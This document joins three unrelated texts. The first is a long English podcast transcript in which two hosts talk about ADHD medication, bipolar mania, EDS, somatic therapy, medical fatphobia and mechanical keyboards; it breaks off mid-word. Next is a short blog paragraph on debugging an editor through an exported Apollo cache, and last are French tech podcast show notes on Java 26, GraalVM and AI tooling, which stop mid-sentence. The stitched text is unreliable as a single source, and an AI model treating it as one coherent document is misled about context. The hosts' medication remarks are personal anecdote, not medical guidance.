Adderall at all for me, Brett: Yeah. Melissa: no comparison? Brett: it’s basically a non-abusable, I would call it lower lying version of, of Adderall. Like, it’s in the same family of stimulant as Adderall, but it can’t– It isn’t processed or it’s… I don’t remember how the mechanics of it work, but you can’t snort it basically. Like, it doesn’t, it doesn’t do anything Melissa: Which I wouldn’t wanna do anyway ’cause there’s nothing up here. Brett: Sure. Sure. And then, yeah, I’m not suggesting that was gonna be a problem for you. Um, but it’s also, like, it’s way, um, for me anyway, it’s way calmer. [00:29:00] Um, and there are people that say it doesn’t do anything at all. Um, especially a lot of people, a lot of people say the generic version doesn’t do anything, um, and that the name brand version does, but I haven’t found that to be true. Like the generic, which you’re correct, still costs like 200 bucks a month, um, for the generic. Um, but it is– It’s not my favorite. Melissa: I wondered why– what made you stop taking it. Did it just not work for you? Brett: No, I still take Vyvanse. Um, yeah. Um, I used to take, um, Focalin, which I loved. Melissa: That really worked for my kiddo, yep. Brett: but it also triggered my mania, Melissa: Mm-hmm. Mm-hmm. Brett: so I was always walking this line of like, do I wanna be super productive and manic with like weeks of depression in between, [00:30:00] or do I just wanna be somewhat productive and stable? Um, which is why I’ve stuck with Vyvanse, and my doctor loves it enough for me that she won’t, she won’t prescribe anything else for me at this point. Like, I’ve asked about switching. I’ve asked about moving back to Adderall and things like that, but, Melissa: It seems like you’re, like you’re kinda on an evening out. Brett: Yeah, I haven’t had a manic episode for a couple years now. Tracking Mood With Data Melissa: Do you track it? Do you– Like, have you ever seen those– I keep seeing these ads for it ’cause, you know, the algorithm feeds us the stuff for wearables that are, um, called– I think it’s called Visible, so it makes your symptoms more visible instead of invisible. Like, do you track it? Do you Have you nerded out on your own data? Brett: like my mania and depression? Melissa: Yeah, like do you track it and look at graphs or anything like that to Brett: See, I’ve never had to use an external tool because I can just look at GitHub contribution graphs, and I can look at [00:31:00] my RSS feed, and I can see exactly, like for a period of like eight years, I can pinpoint exactly where my manic episodes were, um, because that data is historically preserved out there on the internet for all to see. Um, it’s, yeah, it’s– Well, and that’s, like I built tools that gathered that, those various sources of data. Um, and then there was a, a tool called, um, I forget. Melissa: cool, though? Hmm. We’ll think Brett: But it could pull, it could pull in all that data. Um, Bell Beth Cooper, Hello Code, I can’t remember the name of the app. Melissa: Yeah, it’ll come to you eventually. Brett: sure. Uh, but it could pull in like your GitHub, uh, commits along with like what the weather was at the time, how many songs you listened to that Melissa: Oh, day one sorta does that, yeah. Brett: Does it now? Melissa: A little bit, yeah, your locations, [00:32:00] um, if you turn on some of those things. Like not– I don’t think it does the music and things like that, but Brett: I haven’t used it for a while. I haven’t used it for a Melissa: I was gonna switch to the journal app. I was actually really… I held off on upgrading to Tahoe for the longest time, but that one kept nagging at me ’cause I thought, oh, you know, maybe. I mean, as much as I love Day One, I, I thought about, I thought about actually switching over, but no. I tried it. I’m, I’m gonna stick with Day One. Brett: Cool. All right. Cane And Somatic Therapy Brett: Um, so did you have, did you have more to add to your Melissa: Oh, I was gonna, I was gonna add on to what you were talking about with the suspenders. I did start… I think you probably… Well, yeah, you commented on it. Um, I started using a cane, and that I have mixed feelings about that. Um, I should have brought it in here so I could show you. I’ll show you later, ’cause, uh, anyway, it’s, it’s purple. I did get a pimp cane. That’s what my husband calls it. I thought, damn it, if I’m gonna use, like, a cane, then it’s gonna be [00:33:00] purple, and I’m gonna like looking at it, as much as I hate to use it, so. So I’ve been trying to use it. I… What you were talking about with, uh, with finding a curious doctor, I do have new physical therapist, um, so I’m really happy about that. Same kind of thing where she’s super booked. I think that’s just how it is. Like, the really good ones, they’re good, and, you know, it shows because it’s, it’s hard to get in to see them. So yeah. So I’m, I’m looking forward to that. We’re gonna be doing… Have you heard of somatic therapy? Brett: Yeah. Melissa: Yeah. So ha- have you tried it? Do, do you like it? Okay. That’s, that’s what I’m embarking on. Brett: I actually have a friend who teaches classes in it. Melissa: Oh, Al probably knows about that. Brett: y- yeah, Melissa: Yeah, I’ll, I’ll Brett: and it is, it is amazing how hard just doing things, doing motions you’re used to, but doing them very slowly and intentionally. It is like you– Just like, Just like, doing y- like a clamshell where you drop your knee, you’re [00:34:00] on your back and you drop your knee down to the side and bring it back up. Like that motion, most of us, even infirmed people can do that okay. You try to take… You try to do that and take like five breaths in each direction, and you’ll start shaking. It’s very Melissa: Ah, uh-huh. Yep. Brett: Yeah, but it’s good. Like it’s g- it really retrains your muscles. It really, it strengthens, retrains, and helps with, uh, finer motor control. Melissa: Oh, that’s interesting. Yeah, I, I’m, I’m a little bit on the skeptical end of it, so that’s why I’m, I’m glad that, that you, you vouch for it too. It’s like I know that it works, but I just… I guess I wanna understand the science of it a little bit more. Like, for example, I’ve tried, uh, acupuncture, and I just didn’t feel like it did, did anything for me. I think you have to be, like, a believer, and I just Brett: think so. Melissa: I, I, I even did that on purpose knowing that I kinda felt like it wasn’t gonna work. I was like, well, what if I just go into this? ‘Cause, [00:35:00] ’cause I talk to people and they’re like, "Well, you have to believe in it." I’m like, but what if I don’t? I just don’t, you know? I’m, I see it Brett: it’s not medicine if you have to believe in it. Melissa: Yeah. I mean, I see it work for other people. I know there’s, you know, such a thing as placebos and things like that, and I don’t know, it’s, it’s woo-woo and I, I, I like woo-woo stuff. I, it just, it didn’t do anything for me, so… It’s not to say that it doesn’t work for other people, but it just did not work for me, and I, I kind of, I, maybe I just, uh, did that on purpose when I, I try- probably just tripped myself up going into it thinking, well, I just don’t believe it, so if it works, then there must be science behind it. And then, then, I’ll believe. But it didn’t work out, so. So the, I’m a little bit on the fence about the somatic thing, but the, the, the gal that I’m working with is just so, she has EDS herself, and like, like what you were saying, like, she, she knows all about it and she could even, you know, tell me the, the type that she has, and I was like, I met, I met, actually last week I met two zebras in one week. [00:36:00] You, you’re familiar with the, the zebra mascot? If you, uh, the saying goes, if you hear hooves, think horses. But we’re not horses, are we? Yeah, so Yeah, so that’s, that’s our, our Somatics For EDS Melissa: EDS Brett: somatic– somatics you don’t have to believe in for them to work. Melissa: Okay, that is Brett: it’s an actual physical therapy method that trains the finer muscles, um, that surround your larger muscles and, and strengthens those, and it– Yeah, it’s for real. It’s, yeah, it’s not like a… It’s soma- I think, Melissa: w- totally Brett: ’cause I I had the same reaction when someone said somatics, ’cause I think, “Oh, that’s some holistic idea of the body, um, of soma,” and it’s… No, it’s, it’s got legit physical therapy behind it. Melissa: And, Yoga Modifications Melissa: you used to do a lot of yoga too, so that probably makes Brett: I still do. Melissa: Yeah? That’s [00:37:00] wonderful. Brett: it’s gotten really hard. Um, I can’t, I can’t– So I get dizzy Melissa: Yeah. Brett: going from sitting to standing, um, and my back gives out if I am in, like, horse or warrior two for more than a couple minutes. Um, and I can’t do cobras because I have a belly like a nine-month pregnancy. Um, so I have to do, like, prenatal yoga, um, which is actually a thing. Melissa: that’s a good idea. I’m glad you brought that up. I should look Brett: a- and I do chair yoga, um, where I I take the class that everyone else takes, but I modify it to work with… Like, there, there are defined moves that you do with a chair instead of. Instead of doing down dog, you do, like, a 90-degree down dog holding the back of a chair. Um, and you put, like, a knee on the chair to do warrior two, so you’re actually [00:38:00] resting. And Um, and you can do it fully seated too and get at least the arm exercises out of it. So I’ve been trying to maintain, maintain flexibility and some endurance. I’m not doing yoga the way I used to do it, but I am still Melissa: I’ve seen some of your poses. It’s pretty impressive. Brett: Yeah, back in the day. Melissa: W- when you could be upside down. Polycystic Liver Shock Melissa: I should look into that because I, you know, although I’m done having babies, like far done having babies, I have… You probably know about this too, I have polycystic liver disease, which is a really rare type of liver disease, and it’s not fatty liver. Oh my God, I have to keep telling doctors that. That’s the other thing. It’s like, it is not fatty liver. It is not. It- they’re cysts. It’s a totally different thing. I’m basically full of bubbles. So I… But it feels like that’s why I went in to get it. I didn’t actually get that checked. I found it accidentally when I went in for an heart, for a heart CT. That’s when they found it, and for a, a breast MRI, so [00:39:00] both those, those types of scans caught it. The other parts were fine, so my heart’s fine, so that’s a relief. But yeah, so this was a bit of a shock. And so I don’t know exactly what it means moving forward, um, but my entire liver is, like, engulfed in cysts, so. Right? But my blood work is, is fantastic right now, so I’m just gonna keep Brett: That’s good. Melissa: hoping it stays that way. Brett: That’s something. Fatphobia In Healthcare Brett: Um, I I have heard for a long time about, um, doctors being fatphobic and, and always assuming that, um, always assuming that your health i-issue is because you’re fat and not even looking for underlying issues, which has been an interesting experience for me because that really never happened to me. Melissa: Mm. Brett: Um, at least not once I switched to Gundersen from, like, a local clinic. Then I realized that it’s not just being fat that gets you [00:40:00] stigmatized, it’s being a fat woman. Melissa: Mm, I was gonna say try having a uterus and being Brett: yeah. Yeah. Um, like I talked to one of my best friends, April, who he’s, has been on Melissa: by, women doctors. Brett: Yeah. Yeah. And that’s, that’s what April tells me. She tells me all these horror stories. Even after finding care she trusted, she still has to deal with people saying, “Well, if you just lost some weight.” Like, she’s been fat her whole life. She’s in better shape than most skinny people Melissa: Yeah. Mm-hmm. Brett: I mean, she does sit-ups with 50-pound plates and does, like, five, 10 miles at a time on her, like, on her bike and, like, she’s in great shape and still has to walk with the ski poles, and she’s getting her second knee replaced this week. And, like, it, it’s just infuriating to hear the way that doctors dismiss Melissa: You know what the problem is, Brett? Brett: goes through [00:41:00] when Pole Dancing Reality Check Melissa: Not enough doctors have watched fat pole dancers. That is the problem right there. They need more education. Brett: Um, yeah. There’s, there are a couple of, um, queer burlesque shows Melissa: shows, yes. Brett: in my area that almost always include a plus-size pole dance, and it is amazing to Melissa: Oh, it’s mesmerizing. It should be an Olympic sport. Remind me to send you the, the link to, unless you’ve already seen it, have you seen the Deadpool pole dancer? Brett: No, I don’t think Melissa: you are in for a treat. We might just have to put that in the show notes, but I don’t know, I don’t know if your listeners are that, are into that It’s fully clothed, but it’s, there’s even blue Crocs involved. Brett: So this is nobody that you’re seeing on the Melissa: I wondered, yep. I wondered, yeah. Aw, he looks so soft. Mm. Mechanical Keyboard ASMR Brett: So you’ve [00:42:00] gotten really into mechanical keyboards. Melissa: have, I have. In fact, uh, I was gonna, I was gonna see how this might sound, but I, I brought my little box of key caps to show you so that I could say, welcome to my ASMR channel. Brett: That would… is is that a thing? I bet there are ASMR, like, key switch testing. Melissa: yeah, yeah. I’ve run across a couple of videos where, you know, they’ll have a hashtag ASMR in there, and that’s, that’s what it is. Do you experience ASMR yourself? Brett: No. Melissa: No? So when you listen to those videos you don’t get like the s- the tickling of the spine and stuff? Brett: No. Melissa: I do. It actually, it goes, it… I forget. I always forget what the acronym stands for, but it, you know, has something to do with the meridian. So if you can i- imagine your brain like split in half, and I feel it right on this side. It goes, it goes like the, down the back of my head, behind my ear, and down into my shoulder. It [00:43:00] is the funkiest feeling, and I love it. I love it so much. Even when we were talking about animals in the, in the beginning and I even had a cat that would come and just like kind of lick my ear and, oh, I just, I love that. Most people cannot stand that sound. They have the opposite condition where they can’t handle somebody chewing gum. My grandfather had that. Um, some, some kinda, it ends in a tonia. Misatonia or something like that, um, where… I don’t know. Do you have any of those like sound sensory issues? I have a lot of Brett: really don’t. I’m very, I’m very, like, sound Like, I like loud, heavy music. Like, that does something for my psyche. Um, but general sounds, they neither bo-bother me nor stimulate me. Melissa: imagine what that’s like. I just can’t. I’m So bothered, and my kids too, and you know, ugh, God, Brett: So El Melissa: has been problematic. Brett: El is, El is, definitely sensitive to sound, um, in a way that Like, even my [00:44:00] mechanical keyboards can’t be, can’t be on the same floor of the house as Elle. We pretty much live in silence, and that’s fine for me most of the time because, like, it just doesn’t affect me either way. So, like, keeping things quiet is easy, and I focus well in silence. And then when Elle’s gone, I blast my music, and w- when I’m in the car, I blast my music, and then the rest of the time I live in the quiet place. Melissa: Mm-hmm. In The Quiet Place. Brett: Yeah. Melissa: Yeah, we have- something a little similar, but m- my husband and I have, uh… We have our his and hers kind of setup here in, in the, in our den, in our inner study. So he’s got his side and I’ve got my side. So we’re together, and he does a lot of grading papers, and he’s really good about putting his, his earbuds in and just tuning the whole world out. He’s… It’s fascinating to watch that man just [00:45:00] execute. I mean, I just am so envious of people who can just execute. But the, the, the, yeah, the sensory, it’s all about the sensory stuff for me when it comes to keyboards. I actually thought about… I don’t know how popular it would be, but I also thought about making a podcast, a video podcast, that would highlight the intersection of nail art and mechanical keyboards. Because I’ll tell you, that’s actually what… I’ve always loved mechanical keyboards, but yeah, the, the one that I had, someone had given me a, a Matias, and oh, it’s, it’s so loud, but it’s like high-pitched. It’s kinda sharp. And it was even kind of annoying to me after a while. And then it does not, it’s not a mechanical keyboard in that you can’t pull the switches out, so you’re kinda stuck with what you got. Like, you might be able to change the key caps if you could find them, but couldn’t change the switches. And something happened to the S key, and I was like, “All right, it’s over,” so. But I can’t get rid of them either, so one of these days I wanna have like a display of, of keyboards. [00:46:00] Nail Art And Picking Melissa: But what got me, what got me into saying, “Okay, I’m finally, I’m just gonna invest in a keyboard because it’s ergonomically important to me,” is I have… And I can’t pronounce it, so I’m not even gonna try, but there’s a condition, and it’s a self-diagnosed thing. But I, I am a picker. I pick my skin a lot. Um, I think it’s called derma something Anyway, so I wasn’t gonna try to pronounce it. But, uh, I’ve always had that condition since I was a kid. I didn’t even know it was a thing. I just thought everybody get, uh, picks. But then during the pande- during the pandemic, it got super bad. Like, I had, I had, um, some panic attacks and, you know, as a lot of probab- people probably did. But it got so bad to the point where I had picked my fingers and they were bleeding and they were throbbing and they were hurting. And I said to one of my kids, I said to my youngest, I said, “Can you just, like, if I, if I’m picking, can you just let me know?” And then I regretted doing that because then he took it on as this, like, full-time job, you know? And it kinda [00:47:00] gave him anxiety, and I thought, “Oh, okay, that, that was a bad thing to do.” So I s- I let him off the hook. I said, “No, you don’t have to tell me anymore.” Um, because, yeah, ev- even if I went to, like, just kinda, like, clean under my nail or something. So it was actually causing a real problem for the family that I was just picking so much. And it’s not just my fingers, it’s, like, other parts of my body. So I thought to myself, “Well, what can I do about this?” And so I started putting fake nail tips on. And I hate to be all, like… I don’t know, I’m not, I try not to be, like, a very vain person, but I really started kinda falling into the nail art side of things, and I, I just recently learned how to do gel and work with, um, uh, what’s it called? Uh, not resin. So I… Oh, that’s another ASMR thing. Do you like to watch resin pours? Brett: I do, actually, yes. Melissa: that’s… Okay, so if you like resin pours, if you like to watch the viscosity and the way the, the chemicals, like, form together and when they, when they mix colors in and stuff, [00:48:00] that’s what it’s like with nail art but on more of, like, a macro level because it’s, you know, you’re working with small stuff. Like, just, just recently I learned how to do… So I’m showing Brett this on, on camera, but I recently learned how to do the kind of nail polish that you take a magnet and you run the magnet along it, and it makes this, like, a cat’s eye. Brett: Yeah, that’s cool. Melissa: I love it. So, so that, so combining nail art then, and I thought, “Well, now I’ve got these long nails,” but all of my keyboards have been these flat, really low-profile keyboards. And, you know, I just, I started to dread it. So then I was kinda caught between a crossroads. Like, either I leave nails off and I can type really, really fast and have high accuracy with no nails, but then as soon as, as soon as I get, like, a little snag or something, then I start picking and then it’s just, it’s all over then. Or I try to find a way to work with these nails. So that’s what I started thinking, “Well, maybe if I had higher keys.” And so then I just, yeah, rabbit hole. [00:49:00] Went down the rabbit hole, and I’ve, I’ve just kinda been there ever since. And, uh, it really, I think, uh… Let’s see. How long ago did this start? It’s only been about maybe like six months or something like that, so. Keyboard Layout Rabbit Hole Melissa: But in that time so I’ve started, um, building a collection of switches. So I’ve been really interested in both the key caps and the switches. Um, I’ve got my baseboards. I like my Royal Kludge the best. This is… I’m gonna show Brett my Royal Kludge. So, so this is what it’s looking like right now. Brett: Yeah. Melissa: It is very purpley. Um, I did post some pictures. I can… I don’t know if you do pictures in show notes, but I could take some pictures for you It’s got a knob. It’s got, um… Let me see if I can do it real Brett: Do you use the knob. I have a couple keyboards with knobs and even a joystick, and I never actually use them Melissa: Good question. Um, I, I use it, I try to use it for volume at [00:50:00] times, and that’s probably what I use it for the most. But this one does have a… Let’s see if I can get this into focus here, backwards and upside down. It’s gonna be upside down, but you see how you can put, you can put your logo Brett: Oh, yeah. Nice. Melissa: got my The Mac Mommy little logo on there. Otherwise, it gives you the time in military format, so that’s kind of handy to have. Um, but yeah, it’s… To be honest, I, I love the, I love this Royal Kludge because it’s nice and heavy, and I love the form factor. It’s got a number pad, um, because I’m, because I am a grown-ass adult and I need a number pad. Um, but it’s nice and heavy. It doesn’t, it doesn’t move around my desk a lot. I kind of have to type, like, kind of crooked, ’cause that’s just the way my neck goes to the wrong way and stuff like that. So I like being able to fit it on my desk. I have a, I had a larger one made by Red, uh, what is it? Redragon. This is the one that I started [00:51:00] out with. Gonna make lots of noise here. But as you can see, this one is way bigger. And it was, as much as I liked it, I mean, I fell in love with it, but what was happening was my accuracy was, like, really thrown off because I fe- I kept feeling like it just needs to be, like, a couple centimeters to the right or a couple centimeters to the left. It just wasn’t centered very well. So this one, my husband gets all the hand-me-downs, so that one went over onto his desk. Uh, and then I also have a baby keyboard here, and this is another Redragon. This is my little mini one. Brett: that’s, that’s the kind of keyboard I mostly use, like a 70% keyboard. Melissa: Yeah, I think this one’s even 60. Um… Brett: My– The one I’m using right now is, uh, 60. There’s no, there’s no function row, there’s no arrow, there’s no keypad or, like, arrow pad. Um, Melissa: No [00:52:00] arrows? How do you live without arrows? Oh, do you, you mapped your keys to something Brett: so it looks like this, Melissa: nice. I love the Brett: that the, the space bar is split in two. Yeah, my, my, my partner says it looks like, uh, gay ’80s. It’s all pink and blue and purple. Um, but the, the space bar is split, and the right half of mine functions as something called a mod key, and when I hold that down, then my I, J, K, and L keys become arrow keys. Melissa: Oh, wow. Brett: once you get used to it, you never have to take your hand off the home row. Melissa: Oh my God, that must be amazing. Brett: It– Yeah, once you get used to it, it, it’s so… Like, g- moving to a keyboard that doesn’t have that is kind of tortuous. On my MacBook Pro, I have remapped it using Karabiner so that Melissa: [00:53:00] That’s what I’m using. Brett: if I hold, the semicolon down with my pinky, then H-I-J-K-L become, Melissa: Oh, nice. Brett: become arrow keys, so I still don’t have to move my hand all the way down and to the right. Like, that’s such a inefficient movement that then I have to, like… Because I don’t have great feeling in my fingers, so finding, on a low-profile keyboard, finding the, the homing buttons again Melissa: Oh, do you use the humming buttons? See, that’s the thing, I was never taught that. I mean, I took like a ty- I took like a typewriting class back in high school, and I just didn’t like it. I, I just taught myself. I just… I’m an autodidact that way, so I just taught myself. Brett: my dad, back in 1984, we had a typing program on our PCjr, and I Melissa: It wasn’t Mavis Beacon, was it? Brett: remember. I don’t remember. All I know is, like, It taught you touch typing, and it would give you [00:54:00] these lessons, and you would basically just mirror what was on screen. And at the age of seven, I was typing at about 68 words per minute on an, on an old IBM PCjr keyboard. Um, got a lot faster through high school and everything. But yeah, I was, I was, from day one, I was raised to be a touch typist, and, and I took all the classes they had in school. Melissa: But you still touch Brett: labs. Yeah. Melissa: Uh-huh, yeah. So you don’t do the home rows. Brett: No, that is touch Melissa: Oh, touch typing, so you do feel… for the bumps. Brett: Yeah, I feel for the bumps, and then I just, like, my f- my key, my fingers never really leave the Melissa: Oh, yeah. See, I wish I could do Brett: centered home row. Yeah. It’s, it, it’s good. Um, Melissa: And you’re using the split, so my gosh. Brett: What– You get used to that too. Um, like, [00:55:00] I can’t do it with the split far apart. I’ve seen people use, like, splits, like, way out to the sides, and I can’t, my, my brain doesn’t do that. Like, my hands have to be within, like, six inches of each other. Melissa: I always thought, it would be so cool to have something where you could have it, like, raised up like this, right? And use your hands sideways. Brett: Yeah. Well, that’s I mean, that’s essentially, I have, on the bottom of this keyboard, I have these risers. Melissa: Oh, uh-huh. Oh, Brett: So it sits, right now I have it at about a 45-degree tent, tent, tent. Um, but it can go up to more like an 80-degree tent, where you’re actually Melissa: Wow. Brett: uh, almost like you’re clapping, you’re typing. Um, I don’t Melissa: of that. I have a, a, handshake mouse. Brett: Vertical mouse. Melissa: You like… Is that what you have for a mouse too? Brett: no, I, I love Melissa: Trackballs. Oh, trackpads. Oh, okay. Brett: Apple’s Magic Trackpad changed my life. I’ve never used– I’ve never gone back to a [00:56:00] mouse since the first Magic Trackpad came out. Melissa: So you’re all about the gestures then? Brett: yeah, Melissa: Yeah. Yeah, yeah. That’s great. Brett: Bet- bet- better touch tool for the win. Melissa: You know what it is for me, is because of the type of work that I do, and this is very much true for both of us, you do these things because of the type of work that you do. The type of work that I do, I’m in everybody’s homes, so I have to ty- I have to be able to type and use their mouse and, I mean, it’s actually a very dirty job. So I keep hand wipes with me everywhere. Um, that, that was why during the pandemic I was like, “I am not coming to your house and I am not touching the stuff that you just picked your nose and…” Yeah, mm-mm. But, so, so i- it’s been kind of keeping me almost like a purist in a way as far as keyboards have gone all these years. I, I finally just kind of let go and embraced this recently, th- which is why I’m so excited and why I’m just kind of nerding out on it, because when, when I worked [00:57:00] in, like, I’ll call it the industry, um, I got my f- my start in prepress. So I worked in prepress, I was a typesetter, and we had… That’s what I kind of miss. We had the old clunky beige keyboards, and I had my muscle memory such that I think my o- my Option key would have, like, the indentation of my nail on it. You know? ‘Cause I had, just like you have, keys that are programmed. I could… I was a Quark queen. I don’t know if you’re familiar with QuarkXPress? Brett: Oh, yeah. Yeah. I was a graphic designer. I I know Quark. Melissa: Yeah, I loved it. I was… And, and I used it back in the OS 9 days, OS 7 really, is when I started out. Uh, I did not like the OS X vers- OS 10 version of Quark. Did not like it at all. Brett: No, but that’s Melissa: it was slow. Brett: Adobe came out with, what was, what was Adobe’s… InDesign. Yeah. By the time I had started, by the time I had started my own ad agency, we were all InDesign. Melissa: Oh, [00:58:00] nice. Okay. I mean, it was a Brett: and none of the, none of the print shops expected Quark files Melissa: Yeah. Oh, it was so expensive. I remember I had to buy it when I was in college, and I remember it cost, like, $800. I’m probably still paying for that, damn it, in interest. Yeah, so that, that’s how I got my start originally, and that’s how I was doing… I, I went to… So I have, I have a Bachelor of Fine Arts. I went to college in order to be a designer. I wanted to be a designer designer, and that’s what I, what I thought I was good at and thought that I liked doing, ’cause, you know, “Oh, you’re a girl. Go to art school. You like to draw.” You know? I’m always bitter about that because I really wish that I would’ve been able to go… I mean, this was, you know… I’m, I’m 51, so this was back in the day where girls, girls don’t do computers and girls don’t do coding. G- girls don’t do computer science. They didn’t even call it computer science. They didn’t even call it graphic design back then. It was commercial art. Um, so I studied that and, you know, I liked it ’cause I thought, “Well, this is what I could, I could take my art and make [00:59:00] a living into it.” And then fast-forward, um, I just started to fall in love with the technical troubleshooting side of things. So as, as good as I was at the technical typesetting and the technical, like, putting prepress things together, you know, um, uh, key sheets and s- you know, things like that. Do you remember, was there, uh, did you ever use a program called Quick Keys? That was one of the ones Brett: familiar. Melissa: you could map your own keys to things. So w- when I was in prepress and doing typesetting, I used that program and I, I mapped all my keys, and I had all these quick keys and stuff so I could go really, really fast, you know? So when they wanted something done fast, they gave it to me, and I could just fly through documents with this. But then as people learned that I was good at this kind of stuff and troubleshooting, they’re like, “Oh, hey, Roger needs, you know, has a problem. Can you go help him?” So I’d go over to his cubicle, I sit down, and he’s got nothing. You know, he’s got [01:00:00] no quick keys, no nothing, and you just kinda get lost because your muscle memory just adapts to it. And I couldn’t help people the way… And, and that was what it was about for me. I really liked more helping people and troubleshooting and the technology side of things than the actual design process. So I kind of went to the other side with it. And so I just kind of, like, vowed that, okay, I’m not gonna do any kind of, like, customization on my own workstation because then I’ll, my, my muscle memory will map to it, and then when I go to sit down to help somebody else, I won’t… You know, I’ll be so much in my own world that I won’t be able to help them. And so I just kind of, like, remained a, a pu
As we're getting close to rounding out the Beta period of the 2.0 editor, we're trying to close out any bugs we find or users report quickly. They could be browser-support related, network conditions related, account capability related, or just bugs in how the 2.0 editor and technology behind it works. It's complicated enough that the best way to debug things is to see exactly what the user sees when they have trouble. A very cool side effect to having built the 2.0 editor with Apollo is that we have a nearly complete look at what is happening in the editor by virtue of the Apollo Cache (we talked about what that is here). We built a tool that can export that as JSON data, and we can load it locally to see exactly what the user sees. It's a bit fancier than that, doing things like saving browser console error logs and stuff, but that's the gist of it. Time Jumps
Java 26 est là, GraalVM cartonne chez Trivago (43 à 12 réplicas !), OpenJDK interdit le code généré par LLM, Spring et Quarkus enchaînent les releases. Côté IA : ADK 1.0, A2A, Lyria 3 chante (mal ?), Yann LeCun lance Ami Labs et ses World Models. Mythos d'Anthropic fait trembler la sécu, Claude Code a leaké son source, et les git worktrees envahissent vos terminaux. Bonus : la mort annoncée de l'IDE, vagues de licenciement chez Oracle et Block, et nos voix toutes clonées. Bon week-ends de mai ! Enregistré le 7 mai 2026 Téléchargement de l'épisode LesCastCodeurs-Episode-340.mp3 ou en vidéo sur YouTube. News Langages Retour d'expérience d'une migration vers graalVM chez Trivago https://medium.com/graalvm/inside-trivagos-graalvm-migration-native-image-for-graphql-at-scale-912bca9df841 La passerelle GraphQL de Trivago (point d'entrée de tout le trafic vers 48 microservices) souffrait de pics de timeout au démarrage JVM Résultats spectaculaires après migration vers GraalVM Native Image : réduction des réplicas de 43 à 12, CPU de 15 à 5 cœurs, images Docker plus légères Obstacles techniques : incompatibilité Log4j → migration vers Logback, remplacement de Mockk par Testcontainers, compilation CI/CD très gourmande Netflix DGS et d'autres librairies manquaient de support GraalVM → l'équipe a contribué des correctifs upstream en open source Approche recommandée : commencer par les services les moins complexes, investir massivement dans les tests automatisés À la 14e migration, le processus était si rodé qu'il allait plus vite que la toute première tentative OpenJDK Interim Policy on Generative AI - https://openjdk.org/legal/ai OpenJDK adopte une politique intérimaire interdisant toute contribution incluant du contenu généré par des LLMs, modèles de diffusion ou systèmes deep-learning Le périmètre est large : code source, texte, images dans les dépôts Git, pull requests GitHub, emails, pages wiki et issues JBS Les contributeurs peuvent utiliser les outils d'IA de manière privée pour comprendre, déboguer et relire le code OpenJDK, mais ne peuvent pas contribuer le contenu généré Trois risques justifient cette politique : surcharge des relecteurs face au code plausible mais incorrect, risques de sûreté/sécurité pour une plateforme critique, et risques de propriété intellectuelle (l'OCA exige que les contributeurs possèdent les droits IP de leurs contributions) Même éditer partiellement du code AI-généré ne le rend pas acceptable à la contribution Oracle, sponsor corporatif d'OpenJDK, travaille sur une politique complète à soumettre au Governing Board GraalVM Native Image et la Closed-World Assumption en Java https://pvs-studio.com/en/blog/posts/java/1357/ Un bon article de rappel du contexte de closed world en Java GraalVM Native Image compile les applications Java en exécutables natifs statiques, sans JVM au runtime. La JVM fonctionne en monde ouvert : les classes sont chargées à la demande, les appels sont des références symboliques résolues dynamiquement. Native Image impose la "closed-world assumption" : tous les chemins d'exécution doivent être connus à la compilation. Les fonctionnalités dynamiques Java (réflexion, proxies, chargement de classes) créent des chemins cachés invisibles à l'analyse statique. C'est pourquoi Native Image exige des fichiers de configuration explicites pour la réflexion, les proxies, les ressources et la FFM API. L'article illustre le problème avec la Foreign Function & Memory API pour appeler printf natif : fonctionne sur JVM, échoue en Native Image sans config. Inclure tout le bytecode accessible serait inutilisable : binaire géant, compilation très lente, et la réflexion nécessite des métadonnées précises. La configuration n'est pas un défaut de conception mais une conséquence logique du passage du dynamique au statique. Java 26 : les nouveautés https://foojay.io/today/java-26-whats-new/ Java est le langage de la JVM, publié tous les 6 mois depuis Java 9 ; Java 26 est une version non-LTS avec 10 JEPs. JEP 500 : protection des champs final modifiés par réflexion profonde, avec des avertissements configurables. JEP 504 : suppression définitive de l'API Applet, plus supportée par les navigateurs. JEP 516 : le cache AOT (Project Leyden) fonctionne désormais avec n'importe quel garbage collector. JEP 517 : support HTTP/3 dans le client HTTP, HTTP/2 reste le défaut mais HTTP/3 est accessible à la demande. JEP 522 : amélioration du débit du GC G1 en réduisant la synchronisation entre threads applicatifs et threads GC. Nouveau support des UUIDv7 via UUID.ofEpochMillis(), naturellement triables et adaptés aux identifiants de bases de données. Process devient AutoCloseable, utilisable dans un try-with-resources. Aucune fonctionnalité en preview n'est graduée en standard ; Structured Concurrency en est à sa 6e preview. Librairies Guillaume a créé une petite librairie Java sans dépendance pour extraire le JSON d'une réponse d'un LLM un peu verbeux https://glaforge.dev/posts/2026/03/22/extracting-json-from-llm-chatter-with-jsonspotter/ Les LLM génèrent souvent du JSON, mais il est parfois entouré de bla-bla et/ou contient des erreurs (ex: commentaires, virgules finales) qui bloquent les parseurs JSON standards. Guillaume a créé une petite librairie légère sans dépendance pour localiser et extraire la structure la plus longue ressemblant à du JSON (même malformé) On peut ensuite passé cette chaîne à un parseur "lénient" (plus tolérant) comme Jackson pour ensuite avoir de bons vieux objets Java fortement typés Librairie dispo sur Maven Central ADK Java sort sa version 1.0 (Agent Development Kit par Google) https://developers.googleblog.com/announcing-adk-for-java-100-building-the-future-of-ai-agents-in-java/ ADK est un framework open source de Google pour créer des agents IA, initialement en Python, maintenant multi-langages (Python, Java, Go, Typescript). Nouvelles fonctionnalités majeures : Outils puissants : GoogleMapsTool, UrlContextTool, ContainerCodeExecutor, VertexAiCodeExecutor, abstraction ComputerUseTool. Architecture de plugins centralisée : Nouveau conteneur App pour gérer les Plugins à l'échelle de l'application (ex: LoggingPlugin, GlobalInstructionPlugin). Context engineering amélioré : Compaction d'événements pour gérer la taille des fenêtres de contexte (résumé et rétention). Human-in-the-Loop (HITL) : Supporte les workflows ToolConfirmation pour approbation humaine des actions d'agent. Services de session et de mémoire : Contrats clairs pour la gestion de l'état (InMemory, VertexAI, Firestore) et la mémoire à long terme. Support Agent2Agent (A2A) : Collaboration native entre agents distants de différents frameworks via le protocole A2A. Dans cet autre article, Guillaume partage comment il a développé l'application Comic Trip montrée dans la vidéo YouTube et qui utilise ADK 1.0 https://glaforge.dev/posts/2026/03/30/building-my-comic-trip-agent-with-adk-java-1-0/ Nouvelle version du SDK Java pour Agent2Agent Protocol, avec le support de la version 1.0 de la spécification https://medium.com/google-cloud/a2a-java-sdk-1-0-0-beta1-released-e83c414b34cc Alignement avec la version 1.0 de la spécification Nouveau groupId org.a2aproject.sdk et package org.a2aproject.sdk Protocoles de transport : support complet et équivalent pour JSON-RPC, gRPC et HTTP+JSON/REST. Gestion des erreurs : introduction de codes 